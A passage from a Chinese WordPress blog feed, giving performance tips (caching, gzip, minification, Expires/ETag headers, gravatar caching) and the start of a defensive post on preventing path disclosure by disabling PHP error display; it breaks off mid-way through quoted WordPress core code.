<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> is_admin<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
<span style="color: #666666; font-style: italic;">//原插件loader内容...</span><br />
<span style="color: #666666; font-style: italic;">//这里可能包含很多代码，特别是有些插件，往往包含很多include和require语句。</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>这里我说的“主”文件，也就是loader，是有Plugin Name/Plugin URI/Description/Version　等WP标准插件注释信息的PHP文件。<br />
有些插件不管3721，每个页面都给加载js或者CSS，其实如果用不着在某些地方加载的话，可以修改一下它，这样WP跑起来负担小多了。</p>
<h3>2,插件按需启用/禁用</h3>
<p>有些插件是只需隔一段时间使用一次的，如Optimize DB这个用于优化mysql数据库的插件，只需要隔一两个月使用一次即可，并不需要24小时开着。</p>
<h3>3,尽量减少MySQL查询次数</h3>
<p>MySQL查询是PHP代码中比较慢的部分，查询的增加，意味着运行效率的降低。<br />
例如，存档插件，一般如果没有新文章发表，存档的内容应该是不变的，这种东西就没必要每次用户访问时都查询，可以通过add_option来将它保存在数据库中或者用文件缓存将它保存在文件中，载入页面时再取出即可。在新增日志的上挂上动作，使之更新缓存即可。<br />
典型的例子就是我现在用的“存档”页面和我以前用的主题green the web news 的“顶部页面、菜单”和“侧边栏友情链接”，因为这些东西基本上是静态的，因此，完全可以缓存起来。<br />
主题中的widget，尽量不要用wp自身的WP_Query来查询，那个很费时的。一般情况下使用原生的SQL语句效率最高。如友情链接、热门文章等，一般更新很少的，都可以缓存起来。<br />
还有就是，可以使用wp自带的内存缓存系统WP_Cache ,如我之前的green the web news主题中sidebar的一个widget中的代码：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$comments</span> <span style="color: #339933;">=</span>wp_cache_get<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'comments'</span><span style="color: #339933;">,</span> &nbsp;<span style="color: #0000ff;">'ihacklog-sidebar'</span> &nbsp;<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
<span style="color: #666666; font-style: italic;">//干活，从数据库中取出东东</span><br />
<span style="color: #666666; font-style: italic;">//添加到缓存</span><br />
wp_cache_set<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'comments'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$comments</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">'ihacklog-sidebar'</span> <span style="color: #339933;">,</span> <span style="color: #cc66cc;">3600</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$comments</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$comment</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<span style="color: #666666; font-style: italic;">//显示</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>还有一个办法就是：静态化<br />
可以使用如Hyper Cache之类的静态化插件，这样站点跑起来肯定快，静态内容嘛，基本没有多少查询的。</p>
<h3>4,压缩合并js和CSS，按需加载</h3>
<p>按照YSlow的建议，js尽量在footer加载，CSS尽量在Header加载。<br />
前面我已经写过一篇关于按需加载js和CSS的文章了。(《<a href="http://ihacklog.com/?p=4865" target="_blank">在wordpress中按需加载JavaScript和CSS</a>》)</p>
<p>不管是主题还是插件，都可以优化的。<br />
js和CSS可以采用gzip压缩后再发送。在gzip压缩之前，我们可以先用工具压缩一下代码。<br />
js压缩推荐采用<a href="http://ihacklog.com/wordpress/wp-content/tool/dean-edwards-js-packer/" target="_blank">dean edwards’s js packer</a><br />
CSS压缩推荐采用Yuicompressor.jar (因<a href="http://ihacklog.com/wordpress/wp-content/tool/csstidy/css_optimiser.php?lang=zh" target="_blank">CSS tidy</a>不适合处理包含CSS3属性的CSS code)</p>
<p>目前最新版的是yuicompressor-2.4.6.jar　，可到<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fyuilibrary.com%2Fdownload%2Fyuicompressor%2F" target="_blank">这里</a>下载。<br />
或者直接到<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fyui.2clics.net%2F" target="_blank">YUI Compressor Online</a>在线压缩。</p>
<p>使用方法：</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">java <span style="color: #660033;">-jar</span> yuicompressor-2.4.6.jar <span style="color: #660033;">--type</span> css <span style="color: #660033;">--charset</span> UTF-<span style="color: #000000;">8</span> <span style="color: #660033;">-v</span> <span style="color: #660033;">-o</span> 输出文件名 要压缩的原文件名</div></td></tr></tbody></table></div>
<p>不单单是js和css,html页面也可gzip压缩后再传送，可以用<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fwww.ilfilosofo.com%2Fblog%2F2008%2F02%2F22%2Fwordpress-gzip-plugin%2F" target="_blank">GZIP Output</a>这个插件来使wp压缩页面后再发送。</p>
<p>要测试你的站点是否启用了gzip压缩，可以到<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fwww.gidnetwork.com%2Ftools%2Fgzip-test.php" target="_blank">GIDZipTest</a>这个页面检测。</p>
<p>还有就是你可以合并CSS和js,这些要合并的东东，通常是在每个页面都需要的。<br />
合并js或css的好处是可以减少http请求数量，这也是YSlow的建议里面中的一条。<br />
这里推荐一个插件：<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fomninoggin.com%2Fwordpress-plugins%2Fwp-minify-wordpress-plugin%2F" target="_blank">WP Minify</a>,此插件可以将你的js和css文件合并为一个文件后再发送给浏览器。从一次程度上减少了HTTP请求数量。还有一个功能类似的插件，叫“<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Faciddrop.com%2Fphp-speedy%2F" target="_blank">PHP Speedy</a>”。</p>
<p>对于静态的文件，php是无能为力了，可以靠web服务器，如apache来gzip压缩后再发送。<br />
apache需要启用了mod_gzip模块(<strong>LoadModule gzip_module modules/mod_gzip.so</strong>)，以下指令才会生效：</p>
<div class="codecolorer-container apache default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br /></div></td><td><div class="apache codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;<span style="color: #000000; font-weight:bold;">IfModule</span> mod_gzip.c&gt;<br />
mod_gzip_on Yes<br />
mod_gzip_minimum_file_size <span style="color: #ff0000;">1000</span><br />
mod_gzip_maximum_file_size <span style="color: #ff0000;">300000</span><br />
mod_gzip_item_include file \.htm$<br />
mod_gzip_item_include file \.html$<br />
mod_gzip_item_include file \.php$<br />
mod_gzip_item_include file \.php3$<br />
mod_gzip_item_include mime text/.*<br />
mod_gzip_item_include mime httpd/unix-directory<br />
<span style="color: #adadad; font-style: italic;"># mod_gzip的临时工作目录: mkdir /tmp/mod_gzip; chmod -R 777 mod_gzip</span><br />
mod_gzip_temp_dir /tmp/mod_gzip<br />
mod_gzip_dechunk Yes<br />
mod_gzip_keep_workfiles No<br />
&lt;/<span style="color: #000000; font-weight:bold;">IfModule</span>&gt;</div></td></tr></tbody></table></div>
<p>服务器管理员要注意：<br />
mod_gzip和mod_php的配合：不要让mod_gzip和mod_php使用同一个临时目录，php_session存放目录可以通过 php.ini设置到</p>
<div class="codecolorer-container ini default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">session.save_path <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> /tmp/php_sess</span></div></td></tr></tbody></table></div>
<h3>5.向浏览器发送超时信息和Etag</h3>
<p>HTTP的Expires headers是个很有用处的东东。<br />
通过可以通过http服务器或者PHP来发送这些信息.<br />
如可以通过修改.htaccess文件，增加如下指令来设置这个：</p>
<div class="codecolorer-container apache default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br /></div></td><td><div class="apache codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #adadad; font-style: italic;">#ETags</span><br />
<span style="color: #00007f;">FileETag</span> MTime Size<br />
&lt;<span style="color: #000000; font-weight:bold;">ifmodule</span> mod_expires.c&gt;<br />
&nbsp; &lt;<span style="color: #000000; font-weight:bold;">filesmatch</span> <span style="color: #7f007f;">&quot;<span style="color: #000099; font-weight: bold;">\.</span>(jpg|gif|png|css|js)$&quot;</span>&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f;">ExpiresActive</span> <span style="color: #0000ff;">on</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f;">ExpiresDefault</span> <span style="color: #7f007f;">&quot;access plus 1 month&quot;</span><br />
&nbsp; &nbsp;&lt;/<span style="color: #000000; font-weight:bold;">filesmatch</span>&gt;<br />
&lt;/<span style="color: #000000; font-weight:bold;">ifmodule</span>&gt;</div></td></tr></tbody></table></div>
<p>这要求apache服务器启用了mod_expires模块，关于FileETag指令，可到<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fhttpd.apache.org%2Fdocs%2F2.2%2Fmod%2Fcore.html%23fileetag" target="_blank">这里</a>查看文档。</p>
<p>对于通过php方式发送的东东，如javascript 和css,可以通过PHP来发送这些信息：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
&nbsp;<span style="color: #000088;">$last_modified_time</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/filemtime"><span style="color: #990000;">filemtime</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000088;">$etag</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/md5_file"><span style="color: #990000;">md5_file</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Etag: <span style="color: #006699; font-weight: bold;">$etag</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp;<a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Cache-Control: must-revalidate&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000088;">$offset</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">60</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">60</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">24</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">3</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000088;">$ExpStr</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;Expires: &quot;</span> <span style="color: #339933;">.</span> <a href="http://www.php.net/gmdate"><span style="color: #990000;">gmdate</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;D, d M Y H:i:s&quot;</span><span style="color: #339933;">,</span> <a href="http://www.php.net/time"><span style="color: #990000;">time</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #000088;">$offset</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; GMT&quot;</span><span style="color: #339933;">;</span><br />
&nbsp;<a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ExpStr</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></td></tr></tbody></table></div>
<p>关于<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fwww.mnot.net%2Fcache_docs%2F%23CACHE-CONTROL" target="_blank">缓存控制header</a>(Cache-Control HTTP Headers)参数的解释：</p>
<p>max-age=[seconds] 与Expire类似，不过这个是相对于请求时间的，而Expire是设置一个超时的绝对时间。</p>
<p>设置缓存后，第一次访问页面时某个CSS的获取情况：<br />
<a href="http://static.ihacklog.com/wp-files/2011/10/http-cache-control-receive.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2011/10/http-cache-control-receive-550x114.png" alt="" title="http-cache-control-receive" width="550" height="114" class="alignnone size-medium wp-image-4881" /> </a><br />
可以看到首次访问获取的数据是25.88 KB,耗时0.87s ,HTTP状态码是200 .</p>
<p>第二至第N次访问页面时CSS的获取情况：<br />
<a href="http://static.ihacklog.com/wp-files/2011/10/http-cache-control.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2011/10/http-cache-control-550x141.png" alt="" title="http-cache-control" width="550" height="141" class="alignnone size-medium wp-image-4882" /> </a><br />
从图中可看出其后访问获取的数据是 250 B,耗时 437 ms , HTTP状态码是304.</p>
<h3>6,缓存gravatar</h3>
<p>这个对于国内用户来说基本是必须的。因为处在强大的GxxFooW的之内的局域网淫民，访问gravatar服务器速度慢不说，偶尔抽风的导致gravatar头像获取不到的话，会严重影响网页的加载速度的，特别是页面中头像比较多的时候。<br />
缓存头像可以用一个名为<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fscott.yang.id.au%2Fcode%2Fgravatar-cache%2F%23toc-download" target="_blank"> GRAVATAR CACHE</a> 的小程序（见<a href="http://ihacklog.com/?p=2584" target="_blank">这篇</a>文章），或者用<a href="http://ihacklog.com/?p=3785" target="_blank">Hacklog Gravatar Cache</a>或其它头像缓存插件，只要你愿意。</p>
<h3>7,方便用页面模板搞定的绝不用插件</h3>
<p>关于使用插件与使用页面模板的效率问题，我以前写过一篇文章《<a href="http://ihacklog.com/?p=3681" target="_blank">关于免插件的一点小想法(效率问题)</a>》，插件基本上是每访问一个页面就要加载一次的，而页面模板却不同。<br />
只有当你访问到使用了特定模板的特定页面时，才会加载该模板并执行其中的代码，因此，从某种程序上来说，使用页面模板是高效的，不过它在一定程序上失去了插件的便捷性。如我的存档页面、留言板等都是用的页面模板实现的。</p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=4879";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=4879" title="Permanent Link to WordPress优化技巧" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=4879</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年07月11日  //  <a href="http://ihacklog.com/software/cool_software_share/five-best-fonts-for-programmers.html" title="分享5个程序员专用字体">分享5个程序员专用字体</a> (7)</li><li>2009年02月15日  //  <a href="http://ihacklog.com/php/framework/phpurlluyoudeshixian.html" title="php url路由的实现">php url路由的实现</a> (0)</li><li>2011年06月12日  //  <a href="http://ihacklog.com/xml_html_css_js_ajax/10-best-css-hacks.html" title="最常用的10条CSS hacks">最常用的10条CSS hacks</a> (5)</li><li>2011年05月27日  //  <a href="http://ihacklog.com/software/cairo-a-2d-graphics-library.html" title="Cairo 2D图形库名称的来历">Cairo 2D图形库名称的来历</a> (0)</li><li>2011年07月13日  //  <a href="http://ihacklog.com/software/tips/opera-browser-tips.html" title="关于opera浏览器的一些tips">关于opera浏览器的一些tips</a> (8)</li><li>2009年03月16日  //  <a href="http://ihacklog.com/memory/zaishuodudaodelinghun.html" title="再说读到的灵魂 ">再说读到的灵魂 </a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/security_optimization/wordpress-optimization-tips.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>打造安全博客之——避免WordPress暴路径</title>
		<link>http://ihacklog.com/security_optimization/avoid-wordpress-path-exposed.html</link>
		<comments>http://ihacklog.com/security_optimization/avoid-wordpress-path-exposed.html#comments</comments>
		<pubDate>Thu, 15 Sep 2011 07:57:30 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[安全优化]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=4805</guid>
		<description><![CDATA[如果你的服务器的错误报告和显示默认是开启的，那么随便打开你博客的一个URL，便可查知你的博客用的是什么服务器操作系统、WP安装在哪个目录。 下面我随便找几个博客测试一下吧，哈哈，几乎百发百中了。。。 像这种因未在包含文件中执行而产生的调用未定义函数的错误，WP本身是无法handle的，因此，得在php.ini或在apache配置文件或.htaccess文件中禁用错误报告或错误显示，如： 12Options -Indexes php_value error_reporting 0 你完全不用担心这样设置以后...]]></description>
			<content:encoded><![CDATA[<p>如果你的服务器的错误报告和显示默认是开启的，那么随便打开你博客的一个URL，便可查知你的博客用的是什么服务器操作系统、WP安装在哪个目录。<br />
下面我随便找几个博客测试一下吧，哈哈，几乎百发百中了。。。 <img src='http://ihacklog.com/wordpress/wp-includes/images/smilies/icon_twisted.gif' alt=':twisted:' class='wp-smiley' /><br />
<a href="http://static.ihacklog.com/wp-files/2011/09/immmmm-error.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2011/09/immmmm-error-550x122.png" alt="" title="immmmm-error" width="550" height="122" class="alignnone size-medium wp-image-4806" /> </a></p>
<p><a href="http://static.ihacklog.com/wp-files/2011/09/ineeke-error.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2011/09/ineeke-error-550x106.png" alt="" title="ineeke-error" width="550" height="106" class="alignnone size-medium wp-image-4807" /> </a></p>
<p><a href="http://static.ihacklog.com/wp-files/2011/09/willin-kan-error.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2011/09/willin-kan-error-550x110.png" alt="" title="willin-kan-error" width="550" height="110" class="alignnone size-medium wp-image-4808" /> </a></p>
<p><a href="http://static.ihacklog.com/wp-files/2011/09/wange-error.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2011/09/wange-error-550x96.png" alt="" title="wange-error" width="550" height="96" class="alignnone size-medium wp-image-4809" /> </a></p>
<p>像这种因未在包含文件中执行而产生的调用未定义函数的错误，WP本身是无法handle的，因此，得在php.ini或在apache配置文件或.htaccess文件中禁用错误报告或错误显示，如：</p>
<div class="codecolorer-container apache default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="apache codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #00007f;">Options</span> -<span style="color: #0000ff;">Indexes</span><br />
<span style="color: #00007f;">php_value</span> error_reporting <span style="color: #ff0000;">0</span></div></td></tr></tbody></table></div>
<p>你完全不用担心这样设置以后WP出错了不会报告，因为在程序执行中WP自身有错误报告的相关设定。<br />
这样设置后的好处是，可以避免让一些别有用心的人通过<strong>暴路径</strong>来获取你的WP站点信息，要知道暴路径可是web入侵时的一种重要手段。</p>
<p>wp-config.php最后一行是包含wp-settings.php,在wp-settings.php第57行和58行有：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">// Check if we're in WP_DEBUG mode.</span><br />
wp_debug_mode<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>我们再看下这个函数到底干了什么吧：<br />
我们先看一下这里：wp-includes/default-constants.php 第48－58行：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Add define('WP_DEBUG', true); to wp-config.php to enable display of notices during development.</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span><a href="http://www.php.net/defined"><span style="color: #990000;">defined</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WP_DEBUG'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'WP_DEBUG'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">false</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Add define('WP_DEBUG_DISPLAY', false); to wp-config.php use the globally configured setting for display_errors and not force errors to be displayed.</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span><a href="http://www.php.net/defined"><span style="color: #990000;">defined</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WP_DEBUG_DISPLAY'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'WP_DEBUG_DISPLAY'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Add define('WP_DEBUG_LOG', true); to enable error logging to wp-content/debug.log.</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span><a href="http://www.php.net/defined"><span style="color: #990000;">defined</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WP_DEBUG_LOG'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WP_DEBUG_LOG'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>如果我们没有在wp-config.php中自己定义，那么WP默认是<strong>不开启调试模式、显示错误信息、不记录错误信息在wp-content/debug.log</strong>。</p>
<p>在wp-includes/load.php 第262　行函数正式开始了：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> wp_debug_mode<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<span style="color: #666666; font-style: italic;">//如果在wp-config.php中define('WP_DEBUG',TRUE);</span><br />
<span style="color: #666666; font-style: italic;">//那么在php5.3以后处于调试模式的WP的错误报告级别为：E_ALL &amp; ~E_DEPRECATED &amp; ~E_STRICT </span><br />
